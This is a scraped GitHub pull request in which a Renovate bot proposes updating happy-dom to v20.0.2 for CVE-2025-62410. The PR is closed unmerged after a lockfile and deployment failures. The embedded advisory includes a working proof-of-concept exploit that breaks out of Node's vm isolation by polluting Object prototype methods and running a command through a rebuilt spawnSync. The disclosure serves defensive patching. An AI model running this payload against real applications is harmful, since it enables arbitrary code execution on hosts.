chore(deps): update dependency happy-dom to v20.0.2 [security] #3789

renovate · 2025-10-16T05:44:24Z

This PR contains the following updates:

Package	Change	Age	Confidence
happy-dom	`20.0.0` -> `20.0.2`

GitHub Vulnerability Alerts

CVE-2025-62410

Summary

The mitigation proposed in GHSA-37j7-fg3j-429f for disabling eval/Function when executing untrusted code in happy-dom does not suffice, since it still allows prototype pollution payloads.

Details

The untrusted script and the rest of the application still run in the same Isolate/process, so attackers can deploy prototype pollution payloads to hijack important references like "process" in the example below, or to hijack control flow via flipping checks of undefined property. There might be other payloads that allow the manipulation of require, e.g., via (univeral) gadgets (https://www.usenix.org/system/files/usenixsecurity23-shcherbakov.pdf).

PoC

Attackers can pollute builtins like Object.prototype.hasOwnProperty() to obtain important references at runtime, e.g., "process". In this way, attackers might be able to execute arbitrary commands like in the example below via spawn().

import { Browser } from "happy-dom";

const browser = new Browser({settings: {enableJavaScriptEvaluation: true}});
const page = browser.newPage({console: true});

page.url = 'https://example.com';
let payload = 'spawn_sync = process.binding(`spawn_sync`);normalizeSpawnArguments = function(c,b,a){if(Array.isArray(b)?b=b.slice(0):(a=b,b=[]),a===undefined&&(a={}),a=Object.assign({},a),a.shell){const g=[c].concat(b).join(` `);typeof a.shell===`string`?c=a.shell:c=`/bin/sh`,b=[`-c`,g];}typeof a.argv0===`string`?b.unshift(a.argv0):b.unshift(c);var d=a.env||process.env;var e=[];for(var f in d)e.push(f+`=`+d[f]);return{file:c,args:b,options:a,envPairs:e};};spawnSync = function(){var d=normalizeSpawnArguments.apply(null,arguments);var a=d.options;var c;if(a.file=d.file,a.args=d.args,a.envPairs=d.envPairs,a.stdio=[{type:`pipe`,readable:!0,writable:!1},{type:`pipe`,readable:!1,writable:!0},{type:`pipe`,readable:!1,writable:!0}],a.input){var g=a.stdio[0]=util._extend({},a.stdio[0]);g.input=a.input;}for(c=0;c<a.stdio.length;c++){var e=a.stdio[c]&&a.stdio[c].input;if(e!=null){var f=a.stdio[c]=util._extend({},a.stdio[c]);isUint8Array(e)?f.input=e:f.input=Buffer.from(e,a.encoding);}}var b=spawn_sync.spawn(a);if(b.output&&a.encoding&&a.encoding!==`buffer`)for(c=0;c<b.output.length;c++){if(!b.output[c])continue;b.output[c]=b.output[c].toString(a.encoding);}return b.stdout=b.output&&b.output[1],b.stderr=b.output&&b.output[2],b.error&&(b.error= b.error + `spawnSync `+d.file,b.error.path=d.file,b.error.spawnargs=d.args.slice(1)),b;};'
page.content = `<html>
<script>
    function f() { let process = this; ${payload}; spawnSync("touch", ["success.flag"]); return "success";} 
    this.constructor.constructor.__proto__.__proto__.toString = f;
    this.constructor.constructor.__proto__.__proto__.hasOwnProperty = f;
    // Other methods that can be abused this way: isPrototypeOf, propertyIsEnumerable, valueOf
    
</script>
<body>Hello world!</body></html>`;

await browser.close();
console.log(`The process object is ${process}`);
console.log(process.hasOwnProperty('spawn'));

Impact

Arbitrary code execution via breaking out of the Node.js' vm isolation.

Recommended Immediate Actions

Users can freeze the builtins in the global scope to defend against attacks similar to the PoC above. However, the untrusted code might still be able to retrieve all kind of information available in the global scope and exfiltrate them via fetch(), even without prototype pollution capabilities. Not to mention side channels caused by the shared process/isolate. Migration to isolated-vm is suggested instead.

Cris from the Endor Labs Security Research Team, who has worked extensively on JavaScript sandboxing in the past, submitted this advisory.

Release Notes

capricorn86/happy-dom (happy-dom)

`v20.0.2`

Compare Source

`v20.0.1`

Compare Source

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Enabled.

♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

renovate · 2025-10-16T05:44:27Z

⚠️ Artifact update problem

Renovate failed to update an artifact related to this branch. You probably do not want to merge this PR as-is.

♻ Renovate will retry this branch, including artifacts, only when one of the following happens:

any of the package files in this branch needs updating, or
the branch becomes conflicted, or
you click the rebase/retry checkbox if found above, or
you rename this PR's title to start with "rebase!" to trigger it manually

The artifact failure details are included below:

File name: pnpm-lock.yaml

Scope: all 21 workspace projects
Progress: resolved 1, reused 0, downloaded 0, added 0
Progress: resolved 23, reused 0, downloaded 0, added 0
Progress: resolved 39, reused 0, downloaded 0, added 0
Progress: resolved 47, reused 0, downloaded 0, added 0
Progress: resolved 57, reused 0, downloaded 0, added 0
Progress: resolved 74, reused 0, downloaded 0, added 0
Progress: resolved 94, reused 0, downloaded 0, added 0
Progress: resolved 106, reused 0, downloaded 0, added 0
/tmp/renovate/repos/github/liam-hq/liam/frontend/packages/erd-core:
 ERR_PNPM_NO_MATCHING_VERSION  No matching version found for [email protected] published by Tue Oct 14 2025 05:44:09 GMT+0000 (Coordinated Universal Time) while fetching it from https://registry.npmjs.org/. Version 20.0.2 satisfies the specs but was released at Wed Oct 15 2025 16:44:22 GMT+0000 (Coordinated Universal Time)

This error happened while installing a direct dependency of /tmp/renovate/repos/github/liam-hq/liam/frontend/packages/erd-core

The latest release of happy-dom is "20.0.2". Published at 10/15/2025 4:44:22 PM

If you need the full list of all 688 published versions run "$ pnpm view happy-dom versions".

If you want to install the matched version ignoring the time it was published, you can add the package name to the minimumReleaseAgeExclude setting. Read more about it: https://pnpm.io/settings#minimumreleaseageexclude

vercel · 2025-10-16T05:44:27Z

The latest updates on your projects. Learn more about Vercel for GitHub.

Project	Deployment	Comments	Updated (UTC)
liam-app	Error		Oct 16, 2025 5:45am
liam-assets	Error	Comment	Oct 16, 2025 5:45am
liam-docs	Error		Oct 16, 2025 5:45am
liam-erd-sample	Error	Comment	Oct 16, 2025 5:45am
liam-storybook	Error		Oct 16, 2025 5:45am

giselles-ai · 2025-10-16T05:44:28Z

Finished running flow.

Step	Status	Updated(UTC)
1	✅	Oct 16, 2025 5:44am
2	✅	Oct 16, 2025 5:45am
3	✅	Oct 16, 2025 5:46am

coderabbitai · 2025-10-16T05:44:43Z

Important

Review skipped

Bot user detected.

To trigger a single review, invoke the @coderabbitai review command.

You can disable this status message by setting the reviews.review_status to false in the CodeRabbit configuration file.

_{Comment @coderabbitai help to get the list of available commands and usage tips.}

giselles-ai · 2025-10-16T05:46:03Z

I can’t access the PR title/body/diff from the provided placeholders, so I can’t reliably determine which packages were changed or whether a changeset already exists. Please provide:

The list of changed packages (e.g., @liam-hq/cli, @liam-hq/erd-core, @liam-hq/schema, @liam-hq/ui, etc.)
Whether a .changeset/*.md file is included in the PR
A brief note on whether the changes are user-facing (feature, bug fix, API/behavior/perf change) or internal (refactor/tests/docs/tooling/types)

Once you share that, I’ll return the final output in the exact format below.

For reference, here is the format I will produce:

Check changeset necessity

Status: REQUIRED | REQUIRED (already satisfied) | NOT REQUIRED

Reason:

2–5 bullet points referencing affected packages and whether changes are user-facing.

Changeset (copy & paste):

---
"@liam-hq/package-a": patch|minor
"@liam-hq/package-b": patch|minor
---
- <emoji> One-line, user-facing summary
  - Specific change details

renovate · 2025-10-16T07:12:36Z

Renovate Ignore Notification

Because you closed this PR without merging, Renovate will ignore this update (20.0.2). You will get a PR once a newer version is released. To ignore this dependency forever, add it to the ignoreDeps array of your Renovate config.

If you accidentally closed this PR, or if you changed your mind: rename this PR to get a fresh replacement PR.

chore(deps): update dependency happy-dom to v20.0.2 [security]

09467d1

renovate bot requested a review from a team as a code owner October 16, 2025 05:44

renovate bot requested review from MH4GF, NoritakaIkeda and junkisai and removed request for a team October 16, 2025 05:44

renovate bot enabled auto-merge October 16, 2025 05:44

renovate bot requested a review from sasamuku October 16, 2025 05:44

vercel bot had a problem deploying to Preview – liam-erd-sample October 16, 2025 05:44 Failure

vercel bot had a problem deploying to Preview – liam-assets October 16, 2025 05:44 Failure

vercel bot had a problem deploying to Preview – liam-app October 16, 2025 05:44 Failure

vercel bot had a problem deploying to Preview – liam-storybook October 16, 2025 05:44 Failure

vercel bot had a problem deploying to Preview – liam-docs October 16, 2025 05:45 Failure

junkisai closed this Oct 16, 2025

auto-merge was automatically disabled October 16, 2025 07:11
Pull request was closed

renovate bot deleted the renovate/npm-happy-dom-vulnerability branch October 16, 2025 07:12

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

Uh oh!

chore(deps): update dependency happy-dom to v20.0.2 [security] #3789

chore(deps): update dependency happy-dom to v20.0.2 [security] #3789

renovate bot commented Oct 16, 2025

Uh oh!

renovate bot commented Oct 16, 2025

Uh oh!

vercel bot commented Oct 16, 2025 •

edited

Loading

Uh oh!

giselles-ai bot commented Oct 16, 2025 •

edited

Loading

Uh oh!

coderabbitai bot commented Oct 16, 2025

Review skipped

Uh oh!

giselles-ai bot commented Oct 16, 2025

Uh oh!

renovate bot commented Oct 16, 2025

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

2 participants

chore(deps): update dependency happy-dom to v20.0.2 [security] #3789

chore(deps): update dependency happy-dom to v20.0.2 [security] #3789

Conversation

renovate bot commented Oct 16, 2025

GitHub Vulnerability Alerts

CVE-2025-62410

Summary

Details

PoC

Impact

Recommended Immediate Actions

Release Notes

v20.0.2

v20.0.1

Configuration

Uh oh!

renovate bot commented Oct 16, 2025

⚠️ Artifact update problem

File name: pnpm-lock.yaml

Uh oh!

vercel bot commented Oct 16, 2025 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Uh oh!

giselles-ai bot commented Oct 16, 2025 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Uh oh!

coderabbitai bot commented Oct 16, 2025

Review skipped

Uh oh!

giselles-ai bot commented Oct 16, 2025

Check changeset necessity

Reason:

Changeset (copy & paste):

Uh oh!

renovate bot commented Oct 16, 2025

Renovate Ignore Notification

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

2 participants

`v20.0.2`

`v20.0.1`

vercel bot commented Oct 16, 2025 •

edited

Loading

giselles-ai bot commented Oct 16, 2025 •

edited

Loading